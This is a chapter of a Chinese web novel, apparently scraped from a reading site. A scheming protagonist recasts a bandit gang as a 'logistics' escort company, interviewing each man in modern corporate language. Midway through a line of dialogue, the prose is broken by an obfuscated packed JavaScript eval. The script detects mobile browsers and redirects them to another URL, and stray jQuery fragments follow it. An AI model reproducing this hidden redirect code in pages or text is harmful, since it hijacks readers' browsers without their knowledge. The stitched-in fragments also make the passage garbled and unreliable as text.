默认冷灰
24号文字
方正启体

22. 欢迎加入沈氏集团

作者:九月清明雨本书字数:K更新时间:
    “我要你。”


    这话砸在地上,听着比刚才那把环首刀落地的动静还要沉闷几分。


    庙里的空气似乎都停滞了一瞬。


    裴度觉得背上的伤口还在突突直跳,他有些恍惚,甚至怀疑是不是失血过多产生了幻觉,不然这世道怎么突然变得如此荒诞?


    沈怨看着那个山贼头领。


    那张粗糙的脸上写满了渴望,像是一个溺水的人看见了最后一根稻草。


    意料之中。


    他点了点头,神情不像是一个身陷囹圄的人质,倒像是个正在终面的考官,对着一份勉强及格的简历给出了录用通知。


    “可以。”


    他从怀里摸出那叠银票,随手递给旁边的李狗。


    “这是启动资金。李狗,你现在是临时财务。”


    “啊?哦!”


    李狗手忙脚乱地接过银票,那薄薄的几张纸片在他手里仿佛重若千钧,烫得他差点没拿稳。


    沈怨没理会他的慌乱,视线在破败的庙宇里扫了一圈,最后落在角落那张还算完整的供桌上。


    “把它搬过来。”


    他指了指供桌,语气平淡得理所当然。


    “还有,找个东西把上面擦干净。我不喜欢在脏乱的环境里办公。”


    熊大愣了半秒。


    这位刚才还凶神恶煞的壮汉,此刻竟然真的转过身,招呼着那个独眼龙,两人嘿咻嘿咻地把沉重的供桌抬到了沈怨面前。


    另一个山贼见状,连忙扯下自己还算干净的衣角,就着地上的雨水,用力擦拭着桌面积年的灰尘。


    这番操作,把满屋子的学子看得目瞪口呆。


    张夫子的嘴巴张大,似乎想说些什么,却又发不出声音,只能看着眼前这一幕荒唐剧上演。


    “好了。”


    沈怨看着焕然一新的“办公桌”,施施然坐到桌后唯一一条还算牢固的长凳上。


    他将那个黑皮册子放在桌上,摊开。


    “那么,作为你们的首席财务顾问,我们先来进行第一项工作。”


    他顿了顿,语气变得专业而冷漠。


    “资产盘点与人力资源评估。”


    拿起炭笔,他抬头看向那八个围拢过来的山贼。


    “都过来,排好队,一个一个说。”


    八个壮汉面面相觑,最后还是在熊大的眼神示意下,有些别扭地排成了一列。


    “姓名。”


    沈怨的笔尖点在册子上,头也没抬。


    “熊……熊大。”


    熊大有些不自在地答道,双手不知道该往哪放。


    “年龄。”


    “三十二。”


    “从业经验。”


    “啥?”


    熊大没听懂这个词。


    沈怨换了个说法:“干这行几年了。”


    “……快十年了。”


    “十年。”


    沈怨笔尖一顿,抬头看了他一眼,眼神里带着一丝审视。


    “十年还在这个段位,你的职业规划很有问题。”


    熊大的脸皮抽搐了一下,感觉像是被人当众扇了一巴掌。


    “主要业务技能。”


    “砍人。”


    “除了砍人呢?”


    熊大沉默了,憋了半天也没憋出第二个词。


    “下一个。”


    沈怨不再看他,在本子上写下几行字。


    *熊大,技能单一,潜力低。*


    独眼龙紧张地往前挪了一步,喉结上下滚动。


    “姓名。”


    “王……王麻子。”


    “你这只眼睛,是工伤?”


    沈怨指了指他那条狰狞的疤痕。


    王麻子一愣,下意识地点了点头。


    “是,是……三年前跟人抢地盘,被个使长枪的戳了。”


    “有拿到赔偿吗?”


    “啥赔偿?差点命都没了,哪还有赔偿。”


    “那就是没有。”


    沈怨在心里摇了摇头,笔下不停。


    *王麻子,风控意识薄弱,缺乏劳动保障。*


    一场诡异的“面试”就在这破庙里展开。


    “刘三,会射箭,但箭囊里常年只有七支箭。成本控制意识过强,导致关键时刻战斗力不足。”


    “赵四,擅长用短斧,但装备维护意识差,影响使用寿命。”


    “孙五,跑得快,适合侦查,但每次分赃都拿一样的钱。典型的同工不同酬,严重打击高精尖人才积极性。”


    沈怨每问完一个,就在本子上记录几句。


    他的声音不大,平铺直叙,却像是一把把锋利的小锤,精准地敲击在所有山贼的心防上。


    他们第一次发现,原来自己干了这么多年的营生,竟然浑身上下都是漏洞。


    裴度在一旁听着,心里泛起一股寒意。


    这哪里是在评估,这分明是在诛心。


    沈怨把这群亡命徒的尊严,按在地上,用一个个他们听不懂却觉得很厉害的词汇,碾得粉碎。


    半个时辰后,沈怨合上了册子。


    他站起身,走到庙宇中央那面还算平整的墙壁前。


    捡起一块刚才从火堆里踢出来的木炭,他在墙上画了一个简单的坐标轴。


    “各位。”


    他转身,面对着那八个已经有些垂头丧气的“员工”。


    “经过初步评估,我现在可以负责任地告诉你们,你们正在从事的,是一项全天下最糟糕的生意。”


    他用木炭在坐标轴的右上角,重重地点了一个点。


    “这里,是‘高风险’、‘高回报’区。比如,造反。”


    他又在左下角点了一个点。


    “这里,是‘低风险’、‘低回报’区。比如,种地。”


    最后,他的木炭移到了坐标轴的右下角,画了一个大大的叉。


    木炭在墙壁上摩擦,发出刺耳的声响。


    “而你们现在干的活儿,在这里。”


    “‘高风险’,‘低回报’。”


    沈怨转过身,目光如炬。


    “你们随时可能被官府围剿,被同行黑吃黑,甚至被一个路过的江湖高手一剑宰了。这是高风险。”


    “可你们的回报呢?”


    他的声音带上了一丝嘲弄。


    “辛辛苦苦埋伏半天,弄死一个人,分到手三十几两银子。这点钱,够你们在翠红楼听几首曲子?”


    山贼们不约而同地低下了头。


    熊大的脸色有些发红,呼吸也变得粗重起来。


    这话,太扎心了,每一个字都戳在他们的肺管子上。


    “垃圾。”


    沈怨吐出两个字,然后把手里的木炭,移到了坐标轴的左上角。


    “真正聪明的生意,在这里。”


    “‘低风险’,‘高回报’。”


    他用木炭,在那片空白区域,写下两个大字。


    物流。


    “啥……啥流?”


    熊大壮着胆子问了一句,眼神里充满了迷茫。


    “就是镖局


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239735|197673||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    沈怨淡淡地解释道。


    “你们有武力,有人手,熟悉这片山头的地形。这是你们的‘核心竞争力’。”


    “为什么非要把刀架在别人的脖子上,抢那点买命钱呢?”


    “你们可以把刀横在胸前,告诉那些过路的客商,‘我们,保护你们的安全’。”


    沈怨张开双臂,像是在描绘一幅宏伟的蓝图。


    “一次护送,你们可以从商队总货款里抽一成。一趟下来,少则百两,多则千两。”


    “你们不再是人人喊打的山贼,而是受人尊敬的镖师。你们赚的是干净钱,是辛苦钱,是技术钱!”


    “你们可以穿着统一的制服,骑着高头大马,从城门口大摇大摆地走过去。沿途的官兵,不但不敢抓你们,还得客客气气地喊一声‘熊总镖头’!”


    “到了晚上,你们可以走进城里最大的酒楼,把银子拍在桌上,告诉小二,‘把你们最好的酒菜都上来’!”


    “逢年过节,那些被你们保护过的商贾,会提着礼物,排着队上山来给你们拜年!”


    沈怨的声音在破庙里回荡,带着一种蛊惑人心的魔力。


    学子们已经听傻了。


    他们仿佛真的看到了一幅画面:一群山贼,穿着崭新的衣服,昂首挺胸地走在官道上。


    而那群山贼,此刻已经个个双眼放光,呼吸急促。


    熊大的一张脸涨得通红,拳头捏得咯咯作响。


    总镖头……


    干净钱……


    受人尊敬……


    这几个词,像是几百只蚂蚁,在他心里疯狂地爬,啃噬着他那颗早已麻木的心。


    他当了十年山贼,被人骂了十年畜生。


    原来……原来他的这身力气,还能有这种用法?


    “只要跟着我干。”


    沈怨的声音变得轻缓,却充满了致命的诱惑力。


    “我刚才说的这一切,三年之内,都能实现。”


    他走回供桌后,重新坐下,目光平静地看着已经完全被他说得热血沸腾的众人。


    “现在,有谁想退出吗?”


    庙里一片死寂。


    退出?


    开什么玩笑!


    他们感觉过去十年都活到狗身上去了!


    “扑通!”


    一声闷响。


    熊大猛地单膝跪地,双手抱拳,对着沈怨重重一拜。


    他这一跪,身后那七个山贼也齐刷刷地跟着跪了下来,膝盖撞击地面的声音此起彼伏。


    “先生大才!”


    熊大的声音因为激动而有些发颤,他仰着头,眼神里是前所未有的狂热。


    “我熊大这辈子没服过谁,今天,我服了!”


    “请先生教我们!”


    “对!请先生教我们怎么干!”


    “我们都听先生的!”


    喊声震得屋顶的雨水都仿佛停滞了一瞬。


    沈怨看着眼前这群被打了鸡血的“新员工”,脸上露出了一丝满意的神色。


    很好,洗脑成功。


    他轻轻敲了敲桌面,发出笃笃的声响。


    “那么,作为沈氏集团闻莺山分部的第一批创始员工。”


    “我们现在开始第一堂培训课。”


    沈怨拿起炭笔,在册子上写下一行字,笔锋锐利。


    “课程名称。”


    他的声音清晰而冷静,与周围狂热的气氛形成鲜明对比。


    “《论客户心理学与专业安保人员的服务礼仪》。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)